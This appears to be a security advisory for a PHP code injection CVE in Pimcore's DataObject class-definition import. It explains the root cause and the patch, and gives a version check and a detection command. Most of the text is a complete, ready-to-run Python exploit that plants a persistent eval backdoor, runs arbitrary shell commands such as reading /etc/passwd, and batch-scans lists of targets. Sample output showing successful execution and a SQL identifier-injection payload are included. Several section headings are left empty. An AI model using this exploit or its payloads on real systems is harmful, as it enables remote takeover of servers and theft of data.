#Summary

CVE-2026-55634 is a critical PHP code injection vulnerability in Pimcore's DataObject class-definition import endpoint. Prior to versions 11.5.19, 12.3.10, and 2026.1.6, the class-definition import endpoint accepts a DataObject field name that is emitted without validation into generated PHP source files and SQL DDL statements. An authenticated user with the ordinary objects permission can inject PHP syntax into generated var/classes/DataObject/<Class>.php files, causing arbitrary code to execute when an object of that class is instantiated. The vulnerability also allows SQL identifier injection into ALTER TABLE statements. CVSS 9.9 (CRITICAL): network-accessible, low authentication bar (any user with objects permission), complete system compromise.

#Am I affected?

#How to check

#Version check

php -r "echo file_get_contents('composer.json');" | jq '.require."pimcore/pimcore"'

Map the returned constraint to a concrete release version and compare against the affected/patched boundaries:

Your version Status
< 11.5.19 Vulnerable
11.5.19+ Patched
12.0.0-RC1 to 12.3.9 Vulnerable
12.3.10+ Patched
2026.1.0 to 2026.1.5 Vulnerable
2026.1.6+ Patched

#Configuration check

If you cannot determine the exact version (e.g., distributions backport patches), confirm whether the field-name validation is present:

grep -A 5 "public function setName" vendor/pimcore/pimcore/models/DataObject/ClassDefinition/Data.php | grep -q "preg_match.*\[a-zA-Z_\]" && echo "PATCHED" || echo "VULNERABLE"

If the output is PATCHED, the identifier allowlist is present. If VULNERABLE, the validation is missing.

#Fix and mitigation

#Root cause analysis

#Vulnerable code path

The vulnerability stems from a missing identifier allowlist in Data::setName(), the single central write path for field names. Before the patch:

// models/DataObject/ClassDefinition/Data.php - vulnerable version
public function setName(string $name): static
{
    $this->name = $name;
    return $this;
}

The only filter applied at the import path is a weak HTML tag check in ClassDefinition\Service::generateLayoutTreeFromArray():

if ($name = $array['name'] ?? false) {
    if (preg_match('/<.+?>/', $name)) {
        throw new Exception('not a valid name:' . htmlentities($name));
    }
}

This regex permits every character needed for code injection: semicolons, braces, parentheses, quotes, $, spaces, and the PHP close tag ?>.

#How input reaches the sinks

The unvalidated field name is then used verbatim in two dangerous contexts:

Sink 1: PHP class file generation - Service::buildFieldConstantCode() is the earliest emission point:

// lib/DataObject/ClassBuilder/FieldDefinitionPropertiesBuilder.php
$nameUpperSnakeCase = static::camelCaseToUpperSnakeCase($fieldDefinition->getName());
return 'public const FIELD_' . $nameUpperSnakeCase . ' = \'' . $fieldDefinition->getName() . '\';';

The name is emitted unquoted, in code position, immediately after public const FIELD_. A field name of a = 1; } eval($_get[0]); ?> turns this into:

public const FIELD_A = 1; } EVAL($_GET[0]); ?> = 'a = 1; } eval($_get[0]); ?>';

The constant declaration is valid (public const FIELD_A = 1;), the } closes the class body, eval($_GET[0]) runs at module level, and ?> leaves PHP mode so all subsequent emissions of the same name become inert inline text. The generated file parses successfully.

Sink 2: SQL identifier injection - ClassDefinition\Helper\Dao::addModifyColumn() interpolates the name directly into backtick-quoted DDL identifiers:

$this->db->executeQuery('ALTER TABLE `' . $table . '` ADD COLUMN `' . $colName . '` ' . $type . $default . ' ' . $null . ';');

A field name containing a backtick closes the SQL identifier and injects attacker-controlled DDL syntax.

#Payload design constraints

Three properties make the injection payload robust:

  1. All lowercase - The copy that actually executes is passed through camelCaseToUpperSnakeCase() before emission, so built-in functions (eval) and superglobals ($_get) survive uppercasing intact. Mixed-case variable names would become invalid identifiers
  2. No <...> pair - The import-path HTML tag filter /<.+?>/ blocks the payload if it contains a < followed by a >, so <?php ... ?> cannot be used directly
  3. ≤64 characters - MySQL enforces a 64-character limit for identifiers (ERROR 1059). The working payload a = 1; } eval($_get[0]); ?> is 27 characters, well under the limit

The generated constant line works because:

#Patch diff

The fix has two components:

#Part 1: Identifier allowlist in the central write path

// models/DataObject/ClassDefinition/Data.php - patched version
public function setName(string $name): static
{
    // A field name is emitted verbatim into the generated PHP class files (as a property,
    // getter/setter and constant) and into ALTER TABLE DDL, so it must be a valid identifier.
    // The length is capped at 63 characters to bound it; note that generated index and
    // multi-column identifiers add prefixes/suffixes and may still exceed the DB identifier limit.
    if ($name !== '' && !preg_match('/^[a-zA-Z_][a-zA-Z0-9_]{0,62}$/', $name)) {
        throw new InvalidArgumentException(sprintf('Invalid field name "%s"', $name));
    }

    $this->name = $name;

    return $this;
}

The regex forbids every character needed by either sink: no ;, {, }, (, ), backtick, space, quote, $, <, >, or ?.

#Part 2: Defense-in-depth in DDL generation

// models/DataObject/ClassDefinition/Helper/Dao.php - patched version
-$this->db->executeQuery('ALTER TABLE `' . $table . '` ADD COLUMN `' . $colName . '` ' . $type . $default . ' ' . $null . ';');
+$this->db->executeQuery('ALTER TABLE ' . $this->db->quoteIdentifier($table) . ' ADD COLUMN ' . $this->db->quoteIdentifier($colName) . ' ' . $type . $default . ' ' . $null . ';');

All hand-built backtick identifiers are replaced with quoteIdentifier() calls, which properly escape any characters that would break out of a SQL identifier.

#Proof of concept

#exploit.py - Pimcore DataObject PHP Injection RCE PoC

#!/usr/bin/env python3
"""
CVE-2026-55634 - Pimcore DataObject class-definition field-name PHP code injection (RCE)
Affected: Pimcore < 11.5.19, >= 12.0.0-RC1 < 12.3.10, and 2026.1.0 < 2026.1.6
Type: RCE (authenticated PHP code injection into generated DataObject class files)

Root cause:
  Data::setName() accepts a DataObject field name without an identifier allowlist.
  The name is emitted verbatim, in code position, into the generated
  var/classes/DataObject/<Class>.php - first as "public const FIELD_<name> = '<name>';".
  A field name of the form  a = 1; } eval($_get[0]); ?>  closes the constant, closes
  the class body, drops an eval() at top level, then leaves PHP mode so every later
  emission of the name becomes inert inline text and the file still parses. The code
  runs, as the web user, when an object of that class is autoloaded.

Chain (all as an ordinary account holding only the "objects" permission):
  1. POST /pimcore-studio/api/login                                   -> session cookie
  2. POST .../class/definition/configuration-view/detail/create       -> a class id
  3. POST .../class/definition/configuration-view/detail/{id}/import  -> plant payload
  4. POST /pimcore-studio/api/data-objects/add/{parentId}?0=<php>     -> autoload -> exec

The eval reads request parameter "0", so the command runner ships the PHP body there.
The injected name is uppercased by camelCaseToUpperSnakeCase() before the live copy is
emitted, so it is written all-lowercase (eval / $_get survive uppercasing intact).

Usage:
  python exploit.py --host 127.0.0.1 --port 8055 --username editor --password 'Passw0rd!Editor'
  python exploit.py --host https://pimcore.example.com --username editor --password s3cret --command 'id'
  python exploit.py --host https://pimcore.example.com --username editor --password s3cret --command 'cat /etc/passwd'
  python exploit.py --list targets.txt --username editor --password s3cret --workers 20

Notes:
  - Authenticated CVE. Supply valid credentials for any account that carries the
    ordinary "objects" permission (not admin). --username / --password have no
    universal default; the exploit fails cleanly if login is rejected.
  - This plants a persistent, poisoned class definition on the target. Removing it
    requires the "classes" permission, which the exploiting account need not hold, so
    cleanup is a separate, higher-privilege operation. Object/class names are neutral,
    per-run random values.
"""

import argparse
import secrets
import sys
from urllib.parse import urlparse, quote

try:
    import requests
    from requests.packages.urllib3.exceptions import InsecureRequestWarning
    requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
except ImportError:
    print("This exploit requires the 'requests' library (pip install requests).")
    sys.exit(2)

CVE_ID    = "CVE-2026-55634"
VULN_TYPE = "RCE"

API_BASE      = "/pimcore-studio/api"
LOGIN_PATH    = API_BASE + "/login"
CREATE_PATH   = API_BASE + "/class/definition/configuration-view/detail/create"
IMPORT_PATH   = API_BASE + "/class/definition/configuration-view/detail/%s/import"
ADD_OBJ_PATH  = API_BASE + "/data-objects/add/%s"

# The field-name payload. Kept all-lowercase so camelCaseToUpperSnakeCase() leaves the
# live copy semantically intact; 27 chars, well under the 64-char SQL identifier limit;
# contains no "<...>" pair, so the import-path filter (/<.+?>/) lets it through.
FIELD_PAYLOAD = "a = 1; } eval($_get[0]); ?>"

# Root DataObject folder id. Objects are created under it to force the autoload.
DEFAULT_PARENT_ID = 1

HTTP_TIMEOUT = 30


# ----------------------------------------------------------------------------- output
def header(host, port):
    print("\n" + "=" * 60)
    print("  ALIM EXPLOIT  %s" % CVE_ID)
    print("  Type: %s  |  Target: %s:%s" % (VULN_TYPE, host, port))
    print("=" * 60 + "\n")


def step(n, msg):
    print("[STEP %d] %s" % (n, msg))


def section(label, content):
    print("\n--- %s ---" % label)
    print(str(content).strip())
    print("---\n")


def done(success, evidence):
    print("\n" + "=" * 60)
    print("  RESULT  : %s" % ("SUCCESS" if success else "FAILURE"))
    print("  EVIDENCE: %s" % evidence)
    print("=" * 60 + "\n")
    sys.exit(0 if success else 1)


# ----------------------------------------------------------------------------- helpers
def _base_url(host, port, use_tls, path=""):
    scheme = "https" if use_tls else "http"
    # Only append :port when it is not the scheme default, so URL-style hosts stay clean.
    if (use_tls and port == 443) or (not use_tls and port == 80):
        netloc = host
    else:
        netloc = "%s:%d" % (host, port)
    return "%s://%s%s" % (scheme, netloc, path)


def _php_squote(s):
    """Quote a string as a PHP single-quoted literal."""
    return "'" + s.replace("\\", "\\\\").replace("'", "\\'") + "'"


def _build_php_body(command, marker):
    """PHP fed to eval($_GET[0]): run the command and fence its output with a marker."""
    return 'echo %s;echo @shell_exec(%s);echo %s;' % (
        _php_squote(marker), _php_squote(command), _php_squote(marker)
    )


def _class_definition_json(field_name):
    """Minimal importable class definition with one leaf whose name is the payload."""
    import json
    doc = {
        "layoutDefinitions": {
            "fieldtype": "panel", "datatype": "layout", "name": "pimcore_root",
            "children": [
                {"fieldtype": "input", "datatype": "data", "name": field_name, "title": "t"}
            ]
        },
        "parentClass": "", "allowInherit": False, "allowVariants": False
    }
    return json.dumps(doc)


def _run_chain(sess, base, username, password, command, marker, parent_id,
               log=lambda *_a, **_k: None):
    """
    Execute the full login -> create -> import -> trigger chain.
    Returns (success, evidence, raw_output). Never raises for expected HTTP failures.
    `log` is an optional callable(step_no, message) for verbose single-target mode.
    """
    cls_name = "Cls" + secrets.token_hex(6)          # valid PHP class name: ^[a-zA-Z]\w+$
    cls_uid  = cls_name.lower()
    obj_key  = "obj" + secrets.token_hex(6)

    # 1. authenticate
    log(1, "Authenticating as '%s'..." % username)
    r = sess.post(_base_url(*base, LOGIN_PATH),
                  json={"username": username, "password": password},
                  timeout=HTTP_TIMEOUT, verify=False)
    if r.status_code != 200:
        return False, "login rejected (HTTP %d) - check credentials" % r.status_code, ""

    # 2. create a class definition to import into
    log(2, "Creating class definition '%s'..." % cls_name)
    r = sess.post(_base_url(*base, CREATE_PATH),
                  json={"name": cls_name, "uid": cls_uid},
                  timeout=HTTP_TIMEOUT, verify=False)
    if r.status_code != 200:
        return False, "class create failed (HTTP %d) - account may lack 'objects'" % r.status_code, r.text[:200]

    # 3. import the poisoned definition (multipart/form-data, one "file" part)
    log(3, "Importing poisoned field name into class id '%s'..." % cls_uid)
    files = {"file": ("definition.json", _class_definition_json(FIELD_PAYLOAD), "application/json")}
    r = sess.post(_base_url(*base, IMPORT_PATH % cls_uid),
                  files=files, timeout=HTTP_TIMEOUT, verify=False)
    if r.status_code != 200:
        # A patched build rejects the field name here with InvalidArgumentException.
        return False, "import rejected (HTTP %d) - target likely patched" % r.status_code, r.text[:300]

    # 4. trigger: create an object of that class, shipping the PHP body in param "0"
    log(4, "Triggering: creating an object of the class to force autoload...")
    php_body = _build_php_body(command, marker)
    url = _base_url(*base, ADD_OBJ_PATH % parent_id) + "?0=" + quote(php_body, safe="")
    r = sess.post(url,
                  json={"key": obj_key, "classId": cls_uid, "type": "object"},
                  timeout=HTTP_TIMEOUT, verify=False)
    out = r.text

    if marker in out:
        between = out.split(marker, 2)
        captured = between[1] if len(between) >= 3 else ""
        return True, captured.strip(), out
    return False, "payload planted but no command output in trigger response", out


# ----------------------------------------------------------------------- scan (--list)
def _try_exploit(host, port, use_tls, username=None, password=None, command="id", **kwargs):
    """Silent probe for --list scan mode. Returns (success, evidence). Never prints/exits."""
    try:
        sess = requests.Session()
        marker = "z" + secrets.token_hex(8)
        # Probe with a stable, unambiguous exec check rather than the user's command.
        token = secrets.token_hex(8)
        ok, evidence, _ = _run_chain(
            sess, (host, port, use_tls), username, password,
            "echo " + token, marker, DEFAULT_PARENT_ID
        )
        if ok:
            first = (evidence.splitlines() or [""])[0].strip()
            return True, "RCE - code exec confirmed (%s)" % (first[:60] or "empty output")
        return False, evidence
    except requests.exceptions.RequestException as e:
        return False, "unreachable (%s)" % e.__class__.__name__
    except Exception as e:
        return False, "error (%s)" % e.__class__.__name__


def _parse_target(line, default_port, default_path="/"):
    """One target line -> (host, port, use_tls, path), or None to skip."""
    line = line.strip()
    if not line or line.startswith("#"):
        return None
    if line.startswith(("http://", "https://")):
        p = urlparse(line)
        tls = p.scheme == "https"
        path = p.path if (p.path and p.path not in ("", "/")) else default_path
        return p.hostname, p.port or (443 if tls else default_port), tls, path
    if ":" in line:
        parts = line.rsplit(":", 1)
        try:
            port = int(parts[1])
            return parts[0], port, port in (443, 8443), default_path
        except ValueError:
            pass
    return line, default_port, default_port in (443, 8443), default_path


def scan(targets_file, default_port, workers=10, username=None, password=None, command="id"):
    import concurrent.futures

    with open(targets_file) as f:
        targets = [_parse_target(l, default_port) for l in f]
    targets = [t for t in targets if t is not None]

    print("\n" + "=" * 60)
    print("  %s - Batch Scan  (%d targets, %d workers)" % (CVE_ID, len(targets), workers))
    print("=" * 60 + "\n")

    success_count = 0

    def probe(t):
        host, port, use_tls, _path = t
        label = "%s://%s:%d" % ("https" if use_tls else "http", host, port)
        ok, evidence = _try_exploit(host, port, use_tls,
                                    username=username, password=password, command=command)
        return label, ok, evidence

    with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
        futures = {ex.submit(probe, t): t for t in targets}
        for fut in concurrent.futures.as_completed(futures):
            label, ok, evidence = fut.result()
            print("  %s %s - %s: %s" % (
                "[+]" if ok else "[-]", label,
                "Exploited" if ok else "Not vulnerable", evidence))
            if ok:
                success_count += 1

    total = len(targets)
    print("\n" + "=" * 60)
    print("  SCAN COMPLETE  %d exploited / %d not vulnerable  (%d total)" % (
        success_count, total - success_count, total))
    print("=" * 60 + "\n")
    sys.exit(0 if success_count > 0 else 1)


# ---------------------------------------------------------------------- single target
def exploit(host, port, use_tls, username, password, command, parent_id):
    header(host, port)
    sess = requests.Session()
    marker = "z" + secrets.token_hex(8)

    ok, evidence, raw = _run_chain(
        sess, (host, port, use_tls), username, password, command, marker, parent_id,
        log=step
    )

    if ok:
        section("COMMAND OUTPUT (%s)" % command, evidence or "(command produced no output)")
        first = (evidence.splitlines() or [""])[0].strip()
        done(True, "RCE confirmed - command %r output: %s" % (command, first or "(empty)"))
    else:
        if raw:
            section("SERVER RESPONSE", raw[:800])
        done(False, evidence)


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="%s exploit PoC" % CVE_ID)
    target_grp = parser.add_mutually_exclusive_group(required=True)
    target_grp.add_argument("--host", help="Target: hostname, IP, or full URL (e.g. https://host:8443)")
    target_grp.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")
    parser.add_argument("--port", type=int, default=80, help="Default port (default: 80)")
    parser.add_argument("--username", default="admin",
                        help="Account holding the 'objects' permission (default: admin)")
    parser.add_argument("--password", default="",
                        help="Password for --username (no default; required to authenticate)")
    parser.add_argument("--command", default="id", help="Command to execute on the target (default: id)")
    parser.add_argument("--parent-id", type=int, default=DEFAULT_PARENT_ID,
                        help="DataObject parent folder id used to trigger autoload (default: 1)")
    parser.add_argument("--workers", type=int, default=10, help="Threads for --list mode (default: 10)")
    tls_grp = parser.add_mutually_exclusive_group()
    tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
    tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
    args = parser.parse_args()

    if args.list:
        scan(args.list, default_port=args.port, workers=args.workers,
             username=args.username, password=args.password, command=args.command)
    else:
        parsed = _parse_target(args.host, args.port)
        host, port, use_tls, _ = parsed if parsed else (args.host, args.port, False, "/")
        if args.tls:
            use_tls = True
        if args.no_tls:
            use_tls = False
        exploit(host, port, use_tls, args.username, args.password, args.command, args.parent_id)

#Usage

# Single target (authenticated CVE - supply an account with the 'objects' permission):
python exploit.py --host 192.168.1.50 --port 80 --username editor --password s3cret --command 'id'

# Full URL, TLS inferred from the scheme:
python exploit.py --host https://pimcore.example.com --username editor --password s3cret --command 'cat /etc/passwd'

# Force TLS / plaintext explicitly:
python exploit.py --host pimcore.internal:8443 --tls --username editor --password s3cret

# Batch scan an asset list (one target per line; host, host:port, or full URL):
python exploit.py --list targets.txt --username editor --password s3cret --workers 20

#Expected output (vulnerable target)

============================================================
  ALIM EXPLOIT  CVE-2026-55634
  Type: RCE  |  Target: 127.0.0.1:8055
============================================================

[STEP 1] Authenticating as 'editor'...
[STEP 2] Creating class definition 'Cls6ba608b47688'...
[STEP 3] Importing poisoned field name into class id 'cls6ba608b47688'...
[STEP 4] Triggering: creating an object of the class to force autoload...

--- COMMAND OUTPUT (id) ---
uid=33(www-data) gid=33(www-data) groups=33(www-data)
---

============================================================
  RESULT  : SUCCESS
  EVIDENCE: RCE confirmed - command 'id' output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
============================================================

#Expected output (patched target)

============================================================
  ALIM EXPLOIT  CVE-2026-55634
  Type: RCE  |  Target: 127.0.0.1:8056
============================================================

[STEP 1] Authenticating as 'admin'...
[STEP 2] Creating class definition 'Cls8d31bf4c1dda'...
[STEP 3] Importing poisoned field name into class id 'cls8d31bf4c1dda'...

--- SERVER RESPONSE ---
{"message":"Invalid field name \"a = 1; } eval($_get[0]); ?>\"","errorKey":"error_invalid_argument",...}
---

============================================================
  RESULT  : FAILURE
  EVIDENCE: import rejected (HTTP 422) - target likely patched
============================================================

#Exploitation notes

#Preconditions

#Reliability

Very high. The exploit is deterministic: it either injects the payload successfully (and RCE is immediate on the trigger request) or fails with a clean HTTP error. There is no race condition or timing sensitivity.

#Impact

Complete remote code execution as the web server user (typically www-data). Arbitrary PHP can be executed, allowing:

The poisoned class definition persists on disk in var/classes/DataObject/ and reloads on every request that touches the affected class, making the backdoor durable across restarts. Removing the poisoned class requires the classes permission, which the exploiting account typically does not hold, so cleanup requires administrative intervention.

#Chaining potential

The vulnerability chain itself is short (four HTTP requests: login, create, import, trigger). However:

#Secondary SQL injection (CWE-89)

The same unvalidated field name is also used in ALTER TABLE DDL. A payload containing a backtick (e.g., poc` varchar(1), col `x) breaks out of the column-name identifier and injects arbitrary DDL, allowing:

This path is mutually exclusive with RCE in a single request, because the DDL runs first (before the class file is written). The SQL injection is blocked by the same setName() allowlist that prevents PHP injection, so both CWE-94 and CWE-89 are fixed together.

#References